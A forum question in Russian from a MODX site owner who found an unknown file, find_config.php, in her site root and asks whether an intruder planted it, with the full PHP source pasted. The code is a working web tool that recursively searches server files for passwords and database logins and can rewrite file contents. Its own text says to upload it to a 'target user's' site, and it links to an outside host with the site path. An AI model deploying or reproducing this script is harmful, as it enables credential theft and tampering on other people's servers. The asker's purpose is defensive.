Обнаружен подозрительный файл в корне сайта c MODX
Обнаружила в корневом каталоге своего сайта файл find_config.php. Это может быть внедрено злоумышленником?
Содержимое файла:
Содержимое файла:
<?
$full_path = $_SERVER['DOCUMENT_ROOT']; // полный путь к файлу
$filename = $_SERVER['PHP_SELF']; // имя файла
//include_once ("fancydropdown/main_menu.php");
//main_menu();
?>
<HEAD>
<script>
function check_all() {
document.getElementById('.htaccess').checked = 'checked';
document.getElementById('.php').checked = 'checked';
document.getElementById('.html').checked = 'checked';
document.getElementById('.js').checked = 'checked';
document.getElementById('.pl').checked = 'checked';
document.getElementById('.sh').checked = 'checked';
document.getElementById('.cgi').checked = 'checked';
document.getElementById('.txt').checked = 'checked';
document.getElementById('.xml').checked = 'checked';
}
</script>
</HEAD>
<BODY>
<table border=0>
<tr>
<td width="40%">
<fieldset><legend>Find</legend>
<form action="find_config.php" ENCTYPE="multipart/form-data" method="post">
Искать от:<br />
<textarea id="from" name="path" rows="1" cols="50" title="полный путь вида: /home/www/zXXXXXX..."><? echo getcwd(); ?></textarea><br /><br />
Искомая строка:<br />
<textarea id="stroka" name="stroka" rows="1" cols="50" title="Искомая строка:" onmousedown="innerHTML = '';">Пароль, БД, логин и прочее</textarea><br /><br />
Искать в файлах:<br />
<input type="checkbox" name="extension[]" id=".htaccess" value=".htaccess" checked>*.htaccess</input><br />
<input type="checkbox" name="extension[]" id=".php" value=".php" checked>*.php</input><br />
<input type="checkbox" name="extension[]" id=".html" value=".html">*.html и *.xhtml</input><br />
<input type="checkbox" name="extension[]" id=".js" value=".js">*.js</input><br />
<input type="checkbox" name="extension[]" id=".pl" value=".pl">*.pl</input><br />
<input type="checkbox" name="extension[]" id=".sh" value=".sh">*.sh</input><br />
<input type="checkbox" name="extension[]" id=".cgi" value=".cgi">*.cgi</input><br />
<input type="checkbox" name="extension[]" id=".txt" value=".txt">*.txt</input><br />
<input type="checkbox" name="extension[]" id=".xml" value=".xml">*.xml</input><br />
<input type="button" name="all" value="отметить все" onclick="check_all();"><br />
<input type="radio" name="write_mode" value="0" checked="">Найти</input>        
<input type="radio" name="write_mode" value="1">Заменить на</input>
<textarea id="replace" name="replace" rows="1" cols="20" title="Замена" onmousedown="innerHTML = '';">Это</textarea><br /><br />
Рекурсия:                  
<select name="recurs" id="recurs">
<option value="1">Да. Я люблю рекурсивный метод</option>
<option value="0">Нет. Не нужно</option>
</select><br /><br />
Вывод на экран:       
<select name="screen" id="screen" onchange="change();">
<option value="0">Нет. Не нужно</option>
<option value="1">Да. Я люблю смотреть на файлы</option>
</select><br /><br />
Максимум вывода на экран (шт.):     
<input type="number" name="max_view" size="17" maxlength="100" value="100" title="количество отображаемых файлов"/><br /><br />
<input type="Reset" value="RESET" name="Reset"> <input type="Submit" value="FIND" name="submit">
</form>
</fieldset>
</td>
<td>
Этот скрипт ищет и/или заменяет то, что Вы укажете, в содержимом файлов.<br /><br />
Использование:<br />
1. залить на сервер в корневую директорию любого сайта целевого пользователя<br />
2. в адресной строке браузера набрать http://сайт/find_config.php<br /><br />
Если нужно проверить все файлы, просто укажите путь вида: /home/www/zXXXXXX<br />
Скрипт отрабатывает много быстрее, если не включать вывод имён файлов на экран<br /><br />
If the problem with the display set in the browser encoding UTF-8<br /><br />
<a href="http://userkill.jelasticloud.com/download.php?full_path=<?echo $full_path;?>&filename=<?echo substr("$filename", 1);?>"><font size=\"3\" color=\"#00ff00\" >скачать скрипт</font></a>
</td>
</tr>
</table>
<br />
<a href="http://userkill.jelasticloud.com/">На главную</a>
<br /><br />
</BODY>
<?
/*
Этот скрипт ищет и/или заменяет то, что Вы укажете, в содержимом файлов.
Использование:
1. залить на сервер в корневую директорию любого сайта целевого пользователя
2. в адресной строке броузера набрать http://сайт/find_config.php
Если нужно проверить все файлы, просто укажите путь вида: /home/www/zXXXXXX
Скрипт отрабатывает много быстрее, если не включать вывод имён файлов на экран
xdir ($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen) /// $path - путь к директории, с которой начать искать, $stroka - искомая строка, $extension - перечисленные расширения файлов,
/// $write_mode - поиск или замена, $replace - на что заменять, $recurs - флаг рекурсивного поиска, $screen - флаг вывода списка пройденных файлов
Символ '@' означает запрет вывода варнингов при невозможности открыть директорию или папку
*/
//error_reporting(E_ALL);
function xdir($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen) { // описание функции
global $find;
global $count;
global $max_view;
if (($dir_handle = @opendir($path)) !== false) { // открываем папку и получаем её handle (дескриптор)
while(($file = readdir($dir_handle)) !== false) { // открываем файл по списку и получаем его handle (дескриптор)
if ($file == '.' or $file == '..') continue; // если это текущая директория или уровень выше, повторяем дальше
$count++; // работает счётчик
if($count > $max_view) $screen = 0; // если файлов много, прекращаем вывод на экран
if($screen == 1)
echo "$count. файл: $path/$file --- тип: ".filetype($path.'/'.$file)."<br />"; // вывод текущего файла/директории
flush(); // сброс буфера и вывод в браузере
$file = $path.'/'.$file;
if (is_dir($file) && $recurs) { // определяет, является ли имя текущего файла директорией
xdir($file, $stroka, $extension, $write_mode, $replace, $recurs, $screen); // если это директория, выполняем рекурсию и заходим в неё
}
if (is_file($file) && (@strstr($file, $extension[0]) || @strstr($file, $extension[1]) || @strstr($file, $extension[2]) || @strstr($file, $extension[3]) || @strstr($file, $extension[4]) || @strstr($file, $extension[5]) || @strstr($file, $extension[6]) || @strstr($file, $extension[7]) || @strstr($file, $extension[8]))) { // если это файл и он одним из указанных расширений (htaccess, php, (x)html, js, pl, sh, cgi, txt, xml)
$f = @fopen($file, 'rb'); // открывает поток IO файла; 'r' - открывает файл только для чтения; помещает указатель в начало файла.
if($f !== false) { // если файл удалось открыть
$char = @fread($f, filesize($file)); // читаем весь вайл
if (@strstr($char, "$stroka")) { // проверка на соответствие искомой строке
$find = 1; // если да, ставим флаг, что нашли
echo "<br /><font size=\"4\" color=\"#ff0000\">".$file."</font> - ".$stroka." here !!!<br />"; // вывод имени найденного файла
if($write_mode == 1) {
fclose($f);
$str = str_replace($stroka, $replace, $char, $replace_count);
$f = @fopen($file, 'wb');
if($f !== false) {
@fwrite($f, $str);
echo " => было выполнено $replace_count замен<br /><br />";
}
else echo "<br />$file - <font size=\"4\" color=\"#0000ff\">access denied - замена невозможна</font><br /><br />"; // говорим, что доступ к файлу отсутствует
}
}
@fclose($f); // закрываем поток IO
}
else echo "<br />$file - <font size=\"4\" color=\"#0000ff\">access denied</font><br /><br />"; // говорим, что доступ к файлу отсутствует
}
}
closedir($dir_handle); // закрываем поток папки
}
else echo "<br />$path/ - <font size=\"4\" color=\"#0000ff\">access denied</font><br /><br />"; // говорим, что доступ к папке отсутствует
}
$find = 0; // флаг найденного вхождения
$count = 0; // счётчик
$path = $_POST['path']; // путь к корню (откуда искать)
$stroka = $_POST['stroka']; // искомая строка (что искать)
$extension = $_POST['extension']; // какие расширения проверять
$write_mode = $_POST['write_mode']; // флаг перезаписи
$replace = $_POST['replace']; // строка замены
$recurs = $_POST['recurs']; // флаг рекурсивного поиска
$screen = $_POST['screen']; // флаг вывода списка пройденных файлов
$max_view = $_POST['max_view']; // сколько файлов вывести не экран
if($path == false) die(); // при первом запуске
if($path === '/home/www/zXXXXXX') die("<br />Укажите путь!"); // если путь не указан (дефолтный путь)
else {
xdir($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen); // вызов функции xdir
}
echo "<br /><br />Проверено <font size=\"5\" color=\"#00ffff\">$count</font> файлов";
if ($find == 0) echo "<br /><font size=\"5\" color=\"#00ff00\">All clear</font>"; // если ничего не нашли, говорим об этом с гордостью!
echo '<br /><br /><br /><br />';
?>